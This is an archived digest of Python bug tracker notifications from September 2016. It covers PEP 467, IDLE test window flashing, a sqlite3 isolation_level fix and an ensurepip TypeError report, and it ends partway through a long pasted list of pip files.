http://bugs.python.org/file44313/pep467_doc_changes.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:27:18 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 01 Sep 2016 01:27:18 +0000 Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za> Message-ID: <1472693238.85.0.895239379927.issue27923@psf.upfronthosting.co.za> Martin Panter added the comment: FYI if you rebase your patches onto public Mercurial revisions, they should get a review link ---------- nosy: +martin.panter stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:27:45 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 01 Sep 2016 01:27:45 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472693265.21.0.0163985346391.issue27918@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Some time ago I tried adding 'root.withdraw' to idle_test files that used tkinter to stop the widget flashing. This never worked completely. Now I know why -- it was the test.support import. Knowing this now, I opened #27922 to add 'root.withdraw' where else needed. With support.__init__ patched, idle tests in 3.6 are currently flash-free, with -ugui, and 2.7 and 3.5 should be also. So unless there is objection by tomorrow, I will patch all three versions. I want the import flash suppressed even when -ugui is passed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:28:07 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 01 Sep 2016 01:28:07 +0000 Subject: [issue27922] Make IDLE tests less flashy In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za> Message-ID: <1472693287.04.0.0283824661536.issue27922@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:40:33 2016 From: report at bugs.python.org (John Mark Vandenberg) Date: Thu, 01 Sep 2016 01:40:33 +0000 Subject: [issue25758] ensurepip/venv broken on Windows if path includes unicode In-Reply-To: <1448704613.06.0.448553989281.issue25758@psf.upfronthosting.co.za> Message-ID: <1472694033.49.0.0617438967489.issue25758@psf.upfronthosting.co.za> Changes by John Mark Vandenberg : ---------- nosy: +jayvdb _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:40:37 2016 From: report at bugs.python.org (John Mark Vandenberg) Date: Thu, 01 Sep 2016 01:40:37 +0000 Subject: [issue22888] ensurepip and distutils' build_scripts fails on Windows when path to Python contains accented characters In-Reply-To: <1416189805.26.0.501870497437.issue22888@psf.upfronthosting.co.za> Message-ID: <1472694037.99.0.195662292798.issue22888@psf.upfronthosting.co.za> Changes by John Mark Vandenberg : ---------- nosy: +jayvdb _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 22:34:12 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 01 Sep 2016 02:34:12 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472697252.6.0.435870619937.issue27918@psf.upfronthosting.co.za> Xiang Zhang added the comment: > they both use test.support.import_module with no reason Sorry, this is a typo. I meant to say "they both use test.support.requires". There should be *no* "no reason" and it's "requires" not "import_module". Sorry to confuse you. Staying late in night fools my brain. I think it's nice to suppress the flash totally in support. Even gui is enabled a single support.requires may seem somewhat confusing to flash a window. Can we also apply Zachary's suggestion? If gui is not enable, there is no need to check _is_gui_available. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 22:47:09 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 01 Sep 2016 02:47:09 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> Message-ID: <1472698029.25.0.180285954981.issue27881@psf.upfronthosting.co.za> Xiang Zhang added the comment: I thought about this method but didn't find it's simpler. You cannot avoid malloc/free since the isolation level has to be on heap. It's going to be freed in the dealloc method unless your alter that part too. Then it's about one memcpy or two, which doesn't make much difference. And in this method you have to do more in argument checking. A simple strstr doesn't solve this problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 23:02:56 2016 From: report at bugs.python.org (John Mark Vandenberg) Date: Thu, 01 Sep 2016 03:02:56 +0000 Subject: [issue27924] ensurepip raises TypeError after pip uninstall Message-ID: <1472698976.68.0.784480763699.issue27924@psf.upfronthosting.co.za> New submission from John Mark Vandenberg: After uninstalling pip on Fedora 24, ensurepip get_records_to_pack returns None, causing rewheel.rewheel_from_record to raise TypeError: 'NoneType' object is not iterable. While this is probably not a scenario that CPython supports directly, it would be nice if it handled it a bit better. Presumably this is using the system python-pip 8.1.0, while there is another pip present, and it is uninstalling both pip 7.1.2 and 8.1.0 at the same time. $ sudo pip uninstall pip Uninstalling pip-7.1.2: /usr/bin/pip /usr/bin/pip2 /usr/bin/pip2.7 /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/DESCRIPTION.rst /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/METADATA /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/RECORD /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/WHEEL /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/entry_points.txt /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/metadata.json /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/pbr.json /usr/lib/python2.7/site-packages/pip-7.1.2.dist-info/top_level.txt /usr/lib/python2.7/site-packages/pip/__init__.py /usr/lib/python2.7/site-packages/pip/__init__.pyc /usr/lib/python2.7/site-packages/pip/__main__.py /usr/lib/python2.7/site-packages/pip/__main__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/_markerlib/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/_markerlib/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/_markerlib/markers.py /usr/lib/python2.7/site-packages/pip/_vendor/_markerlib/markers.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/adapter.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/adapter.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/cache.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/cache.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/file_cache.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/file_cache.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/redis_cache.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/redis_cache.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/compat.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/compat.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/controller.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/controller.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/filewrapper.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/filewrapper.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/heuristics.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/heuristics.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/serialize.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/serialize.pyc /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/wrapper.py /usr/lib/python2.7/site-packages/pip/_vendor/cachecontrol/wrapper.pyc /usr/lib/python2.7/site-packages/pip/_vendor/colorama/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/colorama/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/colorama/ansi.py /usr/lib/python2.7/site-packages/pip/_vendor/colorama/ansi.pyc /usr/lib/python2.7/site-packages/pip/_vendor/colorama/ansitowin32.py /usr/lib/python2.7/site-packages/pip/_vendor/colorama/ansitowin32.pyc /usr/lib/python2.7/site-packages/pip/_vendor/colorama/initialise.py /usr/lib/python2.7/site-packages/pip/_vendor/colorama/initialise.pyc /usr/lib/python2.7/site-packages/pip/_vendor/colorama/win32.py /usr/lib/python2.7/site-packages/pip/_vendor/colorama/win32.pyc /usr/lib/python2.7/site-packages/pip/_vendor/colorama/winterm.py /usr/lib/python2.7/site-packages/pip/_vendor/colorama/winterm.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/misc.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/misc.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/shutil.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/shutil.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/sysconfig.cfg /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/sysconfig.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/sysconfig.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/tarfile.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/tarfile.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/compat.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/compat.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/database.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/database.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/index.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/index.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/locators.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/locators.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/manifest.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/manifest.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/markers.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/markers.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/metadata.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/metadata.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/resources.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/resources.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/scripts.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/scripts.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/t32.exe /usr/lib/python2.7/site-packages/pip/_vendor/distlib/t64.exe /usr/lib/python2.7/site-packages/pip/_vendor/distlib/util.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/util.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/version.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/version.pyc /usr/lib/python2.7/site-packages/pip/_vendor/distlib/w32.exe /usr/lib/python2.7/site-packages/pip/_vendor/distlib/w64.exe /usr/lib/python2.7/site-packages/pip/_vendor/distlib/wheel.py /usr/lib/python2.7/site-packages/pip/_vendor/distlib/wheel.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/constants.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/constants.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/_base.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/_base.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/alphabeticalattributes.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/alphabeticalattributes.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/inject_meta_charset.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/inject_meta_charset.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/lint.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/lint.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/optionaltags.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/optionaltags.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/sanitizer.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/sanitizer.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/whitespace.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/whitespace.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/html5parser.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/html5parser.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/ihatexml.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/ihatexml.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/inputstream.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/inputstream.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/sanitizer.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/sanitizer.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/serializer/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/serializer/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/serializer/htmlserializer.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/serializer/htmlserializer.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/tokenizer.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/tokenizer.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treeadapters/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treeadapters/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treeadapters/sax.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treeadapters/sax.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/_base.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/_base.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/dom.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/dom.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/etree.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/etree.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/etree_lxml.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/etree_lxml.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/_base.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/_base.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/dom.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/dom.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/etree.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/etree.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/genshistream.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/genshistream.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/lxmletree.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/lxmletree.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/pulldom.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/pulldom.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/_base.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/_base.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/datrie.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/datrie.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/py.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/trie/py.pyc /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/utils.py /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/utils.pyc /usr/lib/python2.7/site-packages/pip/_vendor/ipaddress.py /usr/lib/python2.7/site-packages/pip/_vendor/ipaddress.pyc /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/linklockfile.py /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/linklockfile.pyc /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/mkdirlockfile.py /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/mkdirlockfile.pyc /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/pidlockfile.py /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/pidlockfile.pyc /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/sqlitelockfile.py /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/sqlitelockfile.pyc /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/symlinklockfile.py /usr/lib/python2.7/site-packages/pip/_vendor/lockfile/symlinklockfile.pyc /usr/lib/python2.7/site-packages/pip/_vendor/packaging/__about__.py /usr/lib/python2.7/site-packages/pip/_vendor/packaging/__about__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/packaging/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/packaging/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/packaging/_compat.py /usr/lib/python2.7/site-packages/pip/_vendor/packaging/_compat.pyc /usr/lib/python2.7/site-packages/pip/_vendor/packaging/_structures.py /usr/lib/python2.7/site-packages/pip/_vendor/packaging/_structures.pyc /usr/lib/python2.7/site-packages/pip/_vendor/packaging/specifiers.py /usr/lib/python2.7/site-packages/pip/_vendor/packaging/specifiers.pyc /usr/lib/python2.7/site-packages/pip/_vendor/packaging/version.py /usr/lib/python2.7/site-packages/pip/_vendor/packaging/version.pyc /usr/lib/python2.7/site-packages/pip/_vendor/pkg_resources/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/pkg_resources/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/progress/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/progress/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/progress/bar.py /usr/lib/python2.7/site-packages/pip/_vendor/progress/bar.pyc /usr/lib/python2.7/site-packages/pip/_vendor/progress/counter.py /usr/lib/python2.7/site-packages/pip/_vendor/progress/counter.pyc /usr/lib/python2.7/site-packages/pip/_vendor/progress/helpers.py /usr/lib/python2.7/site-packages/pip/_vendor/progress/helpers.pyc /usr/lib/python2.7/site-packages/pip/_vendor/progress/spinner.py /usr/lib/python2.7/site-packages/pip/_vendor/progress/spinner.pyc /usr/lib/python2.7/site-packages/pip/_vendor/re-vendor.py /usr/lib/python2.7/site-packages/pip/_vendor/re-vendor.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/adapters.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/adapters.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/api.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/api.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/auth.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/auth.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/cacert.pem /usr/lib/python2.7/site-packages/pip/_vendor/requests/certs.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/certs.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/compat.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/compat.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/cookies.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/cookies.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/exceptions.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/exceptions.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/hooks.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/hooks.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/models.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/models.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/big5freq.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/big5freq.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/big5prober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/big5prober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardetect.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardetect.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardistribution.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardistribution.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/charsetgroupprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/charsetgroupprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/charsetprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/charsetprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/codingstatemachine.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/codingstatemachine.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/compat.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/compat.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/constants.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/constants.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/cp949prober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/cp949prober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/escprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/escprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/escsm.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/escsm.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/eucjpprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/eucjpprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euckrfreq.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euckrfreq.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euckrprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euckrprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euctwfreq.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euctwfreq.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euctwprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/euctwprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/gb2312freq.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/gb2312freq.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/gb2312prober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/gb2312prober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/hebrewprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/hebrewprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/jisfreq.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/jisfreq.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/jpcntx.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/jpcntx.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langbulgarianmodel.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langbulgarianmodel.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langcyrillicmodel.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langcyrillicmodel.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langgreekmodel.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langgreekmodel.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langhebrewmodel.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langhebrewmodel.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langhungarianmodel.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langhungarianmodel.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langthaimodel.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langthaimodel.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/latin1prober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/latin1prober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/mbcharsetprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/mbcharsetprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/mbcsgroupprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/mbcsgroupprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/mbcssm.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/mbcssm.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/sbcharsetprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/sbcharsetprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/sbcsgroupprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/sbcsgroupprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/sjisprober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/sjisprober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/universaldetector.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/universaldetector.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/utf8prober.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/utf8prober.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/_collections.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/_collections.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/connection.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/connection.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/connectionpool.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/connectionpool.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/ntlmpool.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/ntlmpool.pyc 